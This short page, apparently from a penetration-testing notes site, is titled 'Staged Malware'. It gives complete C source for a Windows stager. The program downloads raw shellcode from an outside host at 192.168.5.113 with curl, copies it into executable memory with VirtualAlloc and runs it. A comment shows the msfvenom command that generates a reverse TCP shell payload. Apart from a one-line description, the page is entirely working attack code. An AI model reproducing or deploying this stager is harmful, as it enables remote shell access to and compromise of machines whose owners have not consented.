Skip to content
For the complete documentation index, see llms.txt. This page is also available as Markdown.

Not so easy to stage!

Host shellcode and download on target and execute.

Staged Malware

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<windows.h>

int main(){
	FILE *fpipe;
	//msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT 443 -f raw -o code.bin
	char *command = "curl http://192.168.5.113/code.bin";
	char c = 0;
	unsigned char code[460];
	int counter = 0;
	
	if (0 == (fpipe = (FILE*)popen(command, "r")))
	{
		perror("popen() failed.");
		exit(EXIT_FAILURE);
	}
	
	while (fread(&c, sizeof c, 1, fpipe))
	{
		code[counter] = c;
		printf("%c", code[counter]);
		counter++;
	}
	
	pclose(fpipe);
	
	//Create a pointer that points to memory space with size of buffer
	//VirtualAlloc returns an address and we store the address in a pointer
	//Pointer to an allocated buffer address is the contents of it.
	void *exec = VirtualAlloc(0,	//System selects address
				sizeof code,	//Allocate size of buf
				MEM_COMMIT,	//Allocate commited memory
				PAGE_EXECUTE_READWRITE	//Protection = R/W
				);
	//Copies contents of code into allocated memory "exec"
	memcpy(exec, code, sizeof code);
	//Calling void fuction pointer to opcode buffer to execute it
	((void(*)())exec)();
	return 0;
}

Last updated